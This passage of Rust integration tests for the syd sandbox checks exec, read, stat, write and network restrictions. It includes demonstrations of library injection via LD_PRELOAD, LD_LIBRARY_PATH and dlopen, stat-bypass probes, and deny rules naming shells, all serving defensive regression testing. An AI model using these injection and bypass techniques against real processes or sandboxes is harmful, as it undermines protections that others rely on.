
    Ok(())
}

fn test_syd_load_library_check_fd_leaks_init_bare() -> TestResult {
    skip_unless_available!("cc", "sh");

    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static int fd_leaks;

__attribute__((constructor))
void syd_init(void)
{
    DIR *dir;
    struct dirent *entry;
    int dir_fd;

    // Open the directory containing file descriptors
    dir = opendir("/proc/self/fd");
    if (!dir) {
        perror("Failed to open /proc/self/fd");
        fd_leaks = -1;
        return;
    }

    // Get the file descriptor for the directory stream
    dir_fd = dirfd(dir);
    if (dir_fd == -1) {
        perror("Failed to get file descriptor for directory");
        closedir(dir);
        fd_leaks = -1;
        return;
    }

    // Iterate over all entries in the directory
    while ((entry = readdir(dir)) != NULL) {
        int fd;
        char *end;

        // Convert the name of the entry to an integer
        fd = strtol(entry->d_name, &end, 10);
        if (*end != '\0' || entry->d_name == end) continue; // Skip non-integer entries

        // Build the path to the symbolic link for the file descriptor
        char link_path[4096];
        char target_path[4096];
        snprintf(link_path, sizeof(link_path), "/proc/self/fd/%d", fd);

        ssize_t len = readlink(link_path, target_path, sizeof(target_path) - 1);
        if (len > 0) {
            target_path[len] = '\0'; // Ensure null termination
            // We ignore standard input, output, and error which are 0, 1, and 2
            if (fd <= 2) {
                printf("Ignoring standard open fd %d -> %s...\n", fd, target_path);
            } else if (fd == dir_fd) {
                printf("Ignoring fd to current directory fd %d -> %s...\n", fd, target_path);
            } else {
                printf("!!! Leaked file descriptor %d -> %s !!!\n", fd, target_path);
                fd_leaks++;
            }
        } else {
            perror("Failed to read link");
            fd_leaks++;
        }
    }

    closedir(dir);
}

int syd_main(void)
{
    if (fd_leaks > 0) {
        printf("Detected %d file descriptor leaks during init!\n", fd_leaks);
    } else {
        printf("No file descriptor leaks detected during init!\n");
    }
    return fd_leaks;
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC
    "##,
        )
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_load_library_check_fd_leaks_init_wrap() -> TestResult {
    skip_unless_available!("cc", "sh");
    skip_unless_unshare!();

    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static int fd_leaks;

__attribute__((constructor))
void syd_init(void)
{
    DIR *dir;
    struct dirent *entry;
    int dir_fd;

    // Open the directory containing file descriptors
    dir = opendir("/proc/self/fd");
    if (!dir) {
        perror("Failed to open /proc/self/fd");
        fd_leaks = -1;
        return;
    }

    // Get the file descriptor for the directory stream
    dir_fd = dirfd(dir);
    if (dir_fd == -1) {
        perror("Failed to get file descriptor for directory");
        closedir(dir);
        fd_leaks = -1;
        return;
    }

    // Iterate over all entries in the directory
    while ((entry = readdir(dir)) != NULL) {
        int fd;
        char *end;

        // Convert the name of the entry to an integer
        fd = strtol(entry->d_name, &end, 10);
        if (*end != '\0' || entry->d_name == end) continue; // Skip non-integer entries

        // Build the path to the symbolic link for the file descriptor
        char link_path[4096];
        char target_path[4096];
        snprintf(link_path, sizeof(link_path), "/proc/self/fd/%d", fd);

        ssize_t len = readlink(link_path, target_path, sizeof(target_path) - 1);
        if (len > 0) {
            target_path[len] = '\0'; // Ensure null termination
            // We ignore standard input, output, and error which are 0, 1, and 2
            if (fd <= 2) {
                printf("Ignoring standard open fd %d -> %s...\n", fd, target_path);
            } else if (fd == dir_fd) {
                printf("Ignoring fd to current directory fd %d -> %s...\n", fd, target_path);
            } else {
                printf("!!! Leaked file descriptor %d -> %s !!!\n", fd, target_path);
                fd_leaks++;
            }
        } else {
            perror("Failed to read link");
            fd_leaks++;
        }
    }

    closedir(dir);
}

int syd_main(void)
{
    if (fd_leaks > 0) {
        printf("Detected %d file descriptor leaks during init!\n", fd_leaks);
    } else {
        printf("No file descriptor leaks detected during init!\n");
    }
    return fd_leaks;
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC
    "##,
        )
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Tests if read sandboxing for open works to allow.
fn test_syd_read_sandbox_open_allow() -> TestResult {
    skip_unless_available!("dd");

    let status = syd()
        .p("off")
        .m("sandbox/read,stat:on")
        .m("allow/read,stat+/***")
        .m("deny/read+/dev/***")
        .m("allow/read+/dev/null")
        .argv(["dd", "if=/dev/null"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if read sandboxing for open works to deny.
fn test_syd_read_sandbox_open_deny() -> TestResult {
    skip_unless_available!("cat");

    let status = syd()
        .p("off")
        .m("sandbox/read:on")
        .m("allow/read+/***")
        .m("deny/read+/dev/null")
        .argv(["cat", "/dev/null"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Tests if stat sandboxing for stat works to allow.
fn test_syd_stat_sandbox_stat_allow() -> TestResult {
    skip_unless_available!("ls");

    let status = syd()
        .p("off")
        .m("sandbox/stat:on")
        .m("allow/stat+/***")
        .m("deny/stat+/dev/null")
        .m("allow/stat+/dev/null")
        .argv(["ls", "/dev/null"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if stat sandboxing for stat works to hide.
fn test_syd_stat_sandbox_stat_hide() -> TestResult {
    skip_unless_available!("ls");

    let status = syd()
        .p("off")
        .m("sandbox/stat:on")
        .m("allow/stat+/***")
        .m("deny/stat+/dev/null")
        .argv(["ls", "/dev/null"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Tests if stat sandboxing for getdents works to allow.
fn test_syd_stat_sandbox_getdents_allow() -> TestResult {
    skip_unless_available!("ls");

    let output = syd()
        .p("off")
        .m("sandbox/stat:on")
        .m("allow/stat+/***")
        .m("deny/stat+/dev/null")
        .m("allow/stat+/dev/null")
        .argv(["ls", "/dev"])
        .output()
        .expect("execute syd");
    assert!(
        output
            .stdout
            .windows(b"null".len())
            .any(|window| window == b"null"),
        "Stdout:\n{:?}",
        output.stdout
    );

    Ok(())
}

// Tests if stat sandboxing for getdents works to hide.
fn test_syd_stat_sandbox_getdents_hide() -> TestResult {
    skip_unless_available!("ls");

    let output = syd()
        .p("off")
        .m("sandbox/stat:on")
        .m("allow/stat+/***")
        .m("deny/stat+/dev/null")
        .argv(["ls", "/dev"])
        .output()
        .expect("execute syd");
    assert!(
        output
            .stdout
            .windows(b"null".len())
            .any(|window| window != b"null"),
        "Stdout:{:?}",
        output.stdout
    );

    Ok(())
}

// Tests if stat sandboxing can be bypassed by read attempt
fn test_syd_stat_bypass_with_read() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat:on")
        .m("allow/read,stat+/***")
        .m("deny/read,stat+/etc/***")
        .m("allow/read,stat+/etc/ld*/***")
        .do_("stat_bypass_with_read", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

// Tests if stat sandboxing can be bypassed by write attempt
fn test_syd_stat_bypass_with_write() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/stat,write:on")
        .m("allow/stat,write+/***")
        .m("deny/stat,write+/etc/***")
        .m("allow/stat+/etc/ld*/***")
        .do_("stat_bypass_with_write", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

// Tests if stat sandboxing can be bypassed by exec attempt
fn test_syd_stat_bypass_with_exec() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/exec,stat:on")
        .m("allow/exec,stat+/***")
        .m("deny/exec,stat+/**/z?sh")
        .m("deny/exec,stat+/**/[bd]ash")
        .m("deny/exec,stat+/**/busybox")
        .do_("stat_bypass_with_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

// Tests if write sandboxing for open works to allow.
fn test_syd_write_sandbox_open_allow() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("off")
        .m("sandbox/write:on")
        .m("deny/write+/dev/***")
        .m("allow/write+/dev/null")
        .argv(["sh", "-cex", "echo welcome to the machine >> /dev/null"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if write sandboxing for open works to deny.
fn test_syd_write_sandbox_open_deny() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("off")
        .m("sandbox/write:on")
        .m("allow/write+/***")
        .m("deny/write+/dev/null")
        .argv(["sh", "-cex", "echo welcome to the machine >> /dev/null"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Tests if exec sandboxing works to allow.
fn test_syd_exec_sandbox_open_allow() -> TestResult {
    skip_unless_available!("true");

    let bin = which("true")?;
    let status = syd()
            .p("off")
            .m("sandbox/exec:on")
            .m("deny/exec+/***")
            .m("allow/exec+/**/*.so*")
            .m(format!("allow/exec+{bin}"))
            .arg("-atrue") // this may be busybox
        .argv([
            &bin.to_string(),
        ])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if exec sandboxing works to deny.
fn test_syd_exec_sandbox_open_deny() -> TestResult {
    skip_unless_available!("true");

    let bin = which("true")?;
    let status = syd()
            .p("off")
            .m("sandbox/exec:on")
            .m("allow/exec+/***")
            .m(format!("deny/exec+{bin}"))
            .arg("-atrue") // this may be busybox
        .argv([
            &bin.to_string(),
        ])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Check if #! interpreter path of scripts are properly sandboxed.
fn test_syd_exec_sandbox_deny_binfmt_script() -> TestResult {
    skip_unless_available!("sh");

    // Write script.
    let path = "./script.sh";
    let script = r#"#!/bin/sh -ex
exit 42
"#;
    let mut file = File::create(path)?;
    write!(file, "{script}")?;
    drop(file); // Close the file to avoid ETXTBUSY.

    syd::fs::chmod_x(path).expect("Failed to make file executable");

    // Step 1: Allow both the interpreter and the script.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .argv(["./script.sh"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, 42);

    // Step 2: Allow the interpreter but disable the script.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/script.sh")
        .argv(["./script.sh"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    // Step 3: Allow the script but disable the interpreter.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("deny/exec+/***")
        .m("allow/exec+/**/*.so*")
        .m("allow/exec+/**/script.sh")
        .argv(["./script.sh"])
        .status()
        .expect("execute syd");
    assert_status_killed!(status);

    Ok(())
}

// Check if a script which has an interpreter that itself is a script is properly sandboxed.
fn test_syd_exec_sandbox_many_binfmt_script() -> TestResult {
    skip_unless_available!("sh");

    // Write script1 whose interpreter points to script2.
    let path1 = "./script1.sh";
    let script1 = r#"#!./script2.sh
"#;
    let mut file1 = File::create(path1)?;
    write!(file1, "{script1}")?;

    // Write script2 whole interpreter points to /bin/sh.
    let path2 = "./script2.sh";
    let script2 = r#"#!/bin/sh -ex
exit 42
"#;
    let mut file2 = File::create(path2)?;
    write!(file2, "{script2}")?;

    // Close the files to avoid ETXTBUSY.
    drop(file1);
    drop(file2);

    // Set permissions to make the scripts executable.
    for path in [path1, path2] {
        syd::fs::chmod_x(path).expect("Failed to set file executable");
    }

    // Step 1: Allow both the interpreter and the script.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .argv(["./script1.sh"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, 42);

    // Step 2: Allow the scripts but disable the interpreter.
    // This will slip through the seccomp sandbox
    // but it's caught by the exec-TOCTOU mitigator.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("deny/exec+/***")
        .m("allow/exec+/**/*.so*")
        .m("allow/exec+/**/script[1-2].sh")
        .argv(["./script1.sh"])
        .status()
        .expect("execute syd");
    assert_status_killed!(status);

    // Step 3: Allow the interpreter but disable the script2.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/script2.sh")
        .argv(["./script1.sh"])
        .status()
        .expect("execute syd");
    fixup!(
        status.code().unwrap_or(127) == nix::libc::EACCES,
        "status:{status:?}"
    );

    Ok(())
}

// Check if a denylisted library can be injected using dlopen().
fn test_syd_exec_sandbox_prevent_library_injection_dlopen_bare() -> TestResult {
    skip_unless_available!("cc", "python");

    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/lib-bad/*.so")
        .argv(["python", "-c"])
        .arg(
            r##"
import ctypes, os, shutil, subprocess, sys

if os.path.exists("test.c"):
    os.remove("test.c")
if os.path.exists("lib-bad"):
    shutil.rmtree("lib-bad")

CODE = "int test() { return 0; }"
COMP = ["cc", "-Wall", "-Wextra", "-shared", "-o", "./lib-bad/libtest.so", "-fPIC", "test.c"]
try:
    with open("test.c", "w") as f:
        f.write(CODE)
    os.mkdir("lib-bad", 0o700)
    subprocess.run(COMP, check=True)
except Exception as e:
    sys.stderr.write("Exception during compile: %r\n" % e)
    sys.exit(128)

try:
    libtest = ctypes.CDLL(f'./lib-bad/libtest.so')
except OSError as e:
    # XXX: ctypes does not set errno!
    # e.errno and e.strerror are 0 and None respectively.
    # and the str(e) can be "permission denied" or
    # "failed to map" so it's not reliably either.
    sys.stderr.write("Exception during dlopen: %r\n" % e)
    sys.exit(13)
else:
    sys.exit(libtest.test())
    "##,
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(
        code == nix::libc::EACCES || code == 128,
        "code:{code} status:{status:?}"
    );
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check if a denylisted library can be injected using dlopen().
fn test_syd_exec_sandbox_prevent_library_injection_dlopen_wrap() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("cc", "python");

    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/lib-bad/*.so")
        .argv(["python", "-c"])
        .arg(
            r##"
import ctypes, os, shutil, subprocess, sys

if os.path.exists("test.c"):
    os.remove("test.c")
if os.path.exists("lib-bad"):
    shutil.rmtree("lib-bad")

CODE = "int test() { return 0; }"
COMP = ["cc", "-Wall", "-Wextra", "-shared", "-o", "./lib-bad/libtest.so", "-fPIC", "test.c"]
try:
    with open("test.c", "w") as f:
        f.write(CODE)
    os.mkdir("lib-bad", 0o700)
    subprocess.run(COMP, check=True)
except Exception as e:
    sys.stderr.write("Exception during compile: %r\n" % e)
    sys.exit(128)

try:
    libtest = ctypes.CDLL(f'./lib-bad/libtest.so')
except OSError as e:
    # XXX: ctypes does not set errno!
    # e.errno and e.strerror are 0 and None respectively.
    # and the str(e) can be "permission denied" or
    # "failed to map" so it's not reliably either.
    sys.stderr.write("Exception during dlopen: %r\n" % e)
    sys.exit(13)
else:
    sys.exit(libtest.test())
    "##,
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(
        code == nix::libc::EACCES || code == 128,
        "code:{code} status:{status:?}"
    );
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check if a denylisted library can be injected using LD_LIBRARY_PATH.
// Note the seccomp sandbox is not able to catch this.
// This is prevented by the TOCTOU-mitigator on exec(2) exit.
fn test_syd_exec_sandbox_prevent_library_injection_LD_LIBRARY_PATH() -> TestResult {
    skip_unless_available!("cc", "sh");

    let status = syd()
        .env("LD_TRACE_LOADED_OBJECTS", "YesPlease")
        .env("LD_VERBOSE", "YesPlease")
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/lib-bad/*.so")
        .argv(["sh", "-cex"])
        .arg(
            r##"
# Ensure syd's CWD does not match our CWD
mkdir -m700 -p foo
cd foo

cat > lib-good.c <<EOF
int func(void) { return 0; }
EOF

cat > lib-bad.c <<EOF
int func(void) { return 42; }
EOF

cat > bin.c <<EOF
extern int func(void);
int main(void) { return func(); }
EOF

mkdir -m700 -p lib-good lib-bad
cc -Wall -Wextra lib-good.c -shared -o lib-good/libext.so -fPIC
cc -Wall -Wextra lib-bad.c -shared -o lib-bad/libext.so -fPIC

cc -Wall -Wextra bin.c -L./lib-good -lext -obin
r=0
env LD_LIBRARY_PATH="./lib-good:$LD_LIBRARY_PATH" ./bin || r=$?
echo >&2 "Good returned: $r"
test $r -eq 0

r=0
env LD_LIBRARY_PATH="./lib-bad:$LD_LIBRARY_PATH" ./bin || r=$?
echo >&2 "Bad returned: $r"
if test $r -eq 42; then
    echo >&2 "Library injection succeded!"
    false
else
    echo >&2 "Library injection failed!"
    true
fi
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check if a denylisted library can be injected using LD_PRELOAD.
// Note the seccomp sandbox is not able to catch this.
// This is prevented by the TOCTOU-mitigator on exec(2) exit.
fn test_syd_exec_sandbox_prevent_library_injection_LD_PRELOAD_safe() -> TestResult {
    skip_unless_available!("cc", "sh");

    let status = syd()
        .env("LD_TRACE_LOADED_OBJECTS", "YesPlease")
        .env("LD_VERBOSE", "YesPlease")
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/lib-bad/*.so")
        .argv(["sh", "-cex"])
        .arg(
            r##"
# Ensure syd's CWD does not match our CWD
mkdir -m700 -p foo
cd foo

cat > lib-good.c <<EOF
#include <sys/types.h>
pid_t getpid(void) { return 0; }
EOF

cat > lib-bad.c <<EOF
#include <sys/types.h>
pid_t getpid(void) { return 1; }
EOF

cat > bin.c <<EOF
#include <sys/syscall.h>
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
int main(void) {
    pid_t p_real = syscall(SYS_getpid);
    pid_t p_test = getpid();
    if (!p_test) {
        puts("Good library injected!");
        return 0;
    } else if (p_test == p_real) {
        puts("No library injected!");
        return 0;
    } else {
        puts("Bad library injected!");
        return p_test;
    }
}
EOF

mkdir -m700 -p lib-good lib-bad
cc -Wall -Wextra lib-good.c -shared -o lib-good/libext.so -fPIC
cc -Wall -Wextra lib-bad.c -shared -o lib-bad/libext.so -fPIC

cc -Wall -Wextra bin.c -obin
r=0
env LD_PRELOAD="./lib-good/libext.so" ./bin || r=$?
echo >&2 "Good returned: $r"
test $r -eq 0

r=0
env LD_PRELOAD="./lib-bad/libext.so" ./bin || r=$?
echo >&2 "Bad returned: $r"
if test $r -ne 0; then
    echo >&2 "Library injection succeded!"
    false
else
    echo >&2 "Library injection failed!"
fi

r=0
env LD_PRELOAD="foo bar baz ./lib-bad/libext.so" ./bin || r=$?
echo >&2 "Bad returned: $r"
if test $r -ne 0; then
    echo >&2 "Library injection succeded!"
    false
else
    echo >&2 "Library injection failed!"
    true
fi

r=0
env LD_PRELOAD="foo:bar:baz:./lib-bad/libext.so:a:b:c" ./bin || r=$?
echo >&2 "Bad returned: $r"
if test $r -ne 0; then
    echo >&2 "Library injection succeded!"
    false
else
    echo >&2 "Library injection failed!"
    true
fi
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check if a denylisted library can be injected using LD_PRELOAD.
// Note the seccomp sandbox is not able to catch this.
// This is prevented by the TOCTOU-mitigator on exec(2) exit.
// Here we test with unsafe_exec:1 to see if injection works genuinely.
fn test_syd_exec_sandbox_prevent_library_injection_LD_PRELOAD_unsafe() -> TestResult {
    skip_unless_available!("cc", "sh");

    let status = syd()
        .env("LD_TRACE_LOADED_OBJECTS", "YesPlease")
        .env("LD_VERBOSE", "YesPlease")
        .p("off")
        .m("trace/allow_unsafe_exec:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/lib-bad/*.so")
        .argv(["sh", "-cex"])
        .arg(
            r##"
# Ensure syd's CWD does not match our CWD
mkdir -m700 -p foo
cd foo

cat > lib-good.c <<EOF
#include <sys/types.h>
pid_t getpid(void) { return 0; }
EOF

cat > lib-bad.c <<EOF
#include <sys/types.h>
pid_t getpid(void) { return 1; }
EOF

cat > bin.c <<EOF
#include <sys/syscall.h>
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
int main(void) {
    pid_t p_real = syscall(SYS_getpid);
    pid_t p_test = getpid();
    if (!p_test) {
        puts("Good library injected!");
        return 0;
    } else if (p_test == p_real) {
        puts("No library injected!");
        return 0;
    } else {
        puts("Bad library injected!");
        return p_test;
    }
}
EOF

mkdir -m700 -p lib-good lib-bad
cc -Wall -Wextra lib-good.c -shared -o lib-good/libext.so -fPIC
cc -Wall -Wextra lib-bad.c -shared -o lib-bad/libext.so -fPIC

cc -Wall -Wextra bin.c -obin
r=0
env LD_PRELOAD="./lib-good/libext.so" ./bin || r=$?
echo >&2 "Good returned: $r"
test $r -eq 0

r=0
env LD_PRELOAD="./lib-bad/libext.so" ./bin || r=$?
echo >&2 "Bad returned: $r"
test $r -ne 0

r=0
env LD_PRELOAD="foo bar baz ./lib-bad/libext.so" ./bin || r=$?
echo >&2 "Bad returned: $r"
test $r -ne 0

r=0
env LD_PRELOAD="foo:bar:baz:./lib-bad/libext.so:a:b:c" ./bin || r=$?
echo >&2 "Bad returned: $r"
test $r -ne 0
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if network connect sandboxing works with accept() & IPv4.
fn test_syd_network_sandbox_accept_ipv4() -> TestResult {
    // test -s is bash, not sh!
    skip_unless_available!("bash", "shuf", "socat");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/net/connect:on")
        .arg("bash")
        .arg("-cex")
        .arg(
            r##"
test -c '/dev/syd/sandbox/net/connect?'
test -c '/dev/syd/block+127.0.0.1'
set +x
p=`shuf -n1 -i31415-65535`
test -n "$SYD_TEST_ACCEPT_PORT" || SYD_TEST_ACCEPT_PORT=$p
echo >&2 "[*] Using port $SYD_TEST_ACCEPT_PORT on localhost, use SYD_TEST_ACCEPT_PORT to override."
echo 'Heavy is the root of light. Still is the master of moving.' > chk
:>log
echo >&2 "[*] Spawning socat to listen on 127.0.0.1!$SYD_TEST_ACCEPT_PORT in the background."
set -x
socat -u -d -d FILE:chk TCP4-LISTEN:$SYD_TEST_ACCEPT_PORT,bind=127.0.0.1,forever 2>log &
set +x
p=$!
echo >&2 "[*] Waiting for background socat to start listening."
while test `grep -c listening log || true` -lt 1; do :; done
echo >&2 "[*] Connect attempt 1: expecting fail..."
set -x
socat -u TCP4:127.0.0.1:$SYD_TEST_ACCEPT_PORT OPEN:msg,wronly,creat,excl || true
test -s msg && exit 127
set +x
rm -f msg
echo >&2 "[*] Allowlisting 127.0.0.1!1024-65535 for accept."
set -x
test -c '/dev/syd/block-127.0.0.1'
test -c '/dev/syd/warn/net/connect+127.0.0.1!1024-65535'
set +x
echo >&2 "[*] Connect attempt 2: expecting success..."
set -x
socat -u TCP4:127.0.0.1:$SYD_TEST_ACCEPT_PORT,forever OPEN:msg,wronly,creat,excl
wait $p
tail >&2 log
diff -u chk msg
        "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if network connect sandboxing works with accept() & IPv6.
fn test_syd_network_sandbox_accept_ipv6() -> TestResult {
    // test -s is bash, not sh!
    skip_unless_available!("bash", "shuf", "socat");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/net/connect:on")
        .arg("bash")
        .arg("-cex")
        .arg(
            r##"
test -c '/dev/syd/sandbox/net/connect?'
test -c '/dev/syd/block+::1'
set +x
p=`shuf -n1 -i31415-65535`
test -n "$SYD_TEST_ACCEPT_PORT" || SYD_TEST_ACCEPT_PORT=$p
echo >&2 "[*] Using port $SYD_TEST_ACCEPT_PORT on localhost, use SYD_TEST_ACCEPT_PORT to override."
echo 'Heavy is the root of light. Still is the master of moving.' > chk
:>log
echo >&2 "[*] Spawning socat to listen on ::1!$SYD_TEST_ACCEPT_PORT in the background."
set -x
socat -u -d -d FILE:chk TCP6-LISTEN:$SYD_TEST_ACCEPT_PORT,bind=[::1],forever,ipv6only 2>log &
set +x
p=$!
echo >&2 "[*] Waiting for background socat to start listening."
while test `grep -c listening log || true` -lt 1; do :; done
echo >&2 "[*] Connect attempt 1: expecting fail..."
set -x
socat -u TCP6:[::1]:$SYD_TEST_ACCEPT_PORT OPEN:msg,wronly,creat,excl || true
test -s msg && exit 127
set +x
rm -f msg
echo >&2 "[*] Allowlisting ::1!1024-65535 for accept."
set -x
test -c '/dev/syd/block-::1'
test -c '/dev/syd/warn/net/connect+::1!1024-65535'
set +x
echo >&2 "[*] Connect attempt 2: expecting success..."
set -x
socat -u TCP6:[::1]:$SYD_TEST_ACCEPT_PORT,forever OPEN:msg,wronly,creat,excl
wait $p
tail >&2 log
diff -u chk msg
        "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if network connect sandboxing works to allow.
fn test_syd_network_sandbox_connect_ipv4_allow() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat+/***")
        .m("trace/allow_safe_bind:0")
        .m("allow/net/bind+127.0.0.1!4242")
        .m("allow/net/connect+127.0.0.1!4242")
        .do_("connect4", ["127.0.0.1", "4242"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

// Tests if network connect sandboxing works to deny.
fn test_syd_network_sandbox_connect_ipv4_deny() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat+/***")
        .m("trace/allow_safe_bind:0")
        .m("allow/net/bind+127.0.0.1!4242")
        .m("deny/net/connect+127.0.0.1!4242")
        .do_("connect4", ["127.0.0.1", "4242"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::ECONNREFUSED);
    Ok(())
}

// Tests if network connect sandboxing works to allow.
fn test_syd_network_sandbox_connect_ipv6_allow() -> TestResult {
    if !check_ipv6() {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    let status = syd()
        .m("allow/exec,read,stat+/***")
        .m("trace/allow_safe_bind:0")
        .m("allow/net/bind+::1!4242")
        .m("allow/net/connect+::1!4242")
        .do_("connect6", ["::1", "4242"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

// Tests if network connect sandboxing works to deny.
fn test_syd_network_sandbox_connect_ipv6_deny() -> TestResult {
    if !check_ipv6() {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    let status = syd()
        .m("allow/exec,read,stat+/***")
        .m("trace/allow_safe_bind:0")
        .m("allow/net/bind+::1!4242")
        .m("deny/net/connect+::1!4242")
        .do_("connect6", ["::1", "4242"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::ECONNREFUSED);
    Ok(())
}

fn test_syd_network_sandbox_allow_safe_bind_ipv4_failure() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat+/***")
        .m("trace/allow_safe_bind:0")
        .m("allow/net/bind+127.0.0.1!0")
        .do_("connect4_0", ["127.0.0.1"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::ECONNREFUSED);
    Ok(())
}

fn test_syd_network_sandbox_allow_safe_bind_ipv4_success() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat+/***")
        .m("trace/allow_safe_bind:1")
        .m("allow/net/bind+127.0.0.1!0")
        .do_("connect4_0", ["127.0.0.1"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_network_sandbox_allow_safe_bind_ipv6_failure() -> TestResult {
    if !check_ipv6() {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    let status = syd()
        .m("allow/exec,read,stat+/***")
        .m("trace/allow_safe_bind:0")
        .m("allow/net/bind+::1!0")
        .do_("connect6_0", ["::1"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::ECONNREFUSED);
    Ok(())
}

fn test_syd_network_sandbox_allow_safe_bind_ipv6_success() -> TestResult {
    if !check_ipv6() {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    let status = syd()
        .m("allow/exec,read,stat+/***")
        .m("trace/allow_safe_bind:1")
        .m("allow/net/bind+::1!0")
        .do_("connect6_0", ["::1"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_handle_toolong_unix_connect() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat,write+/***")
        .m("allow/net/bind+/***")
        .m("trace/allow_safe_bind:1")
        .do_("toolong_unix_connect", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_sendmsg_scm_rights_one() -> TestResult {
    let status = syd()
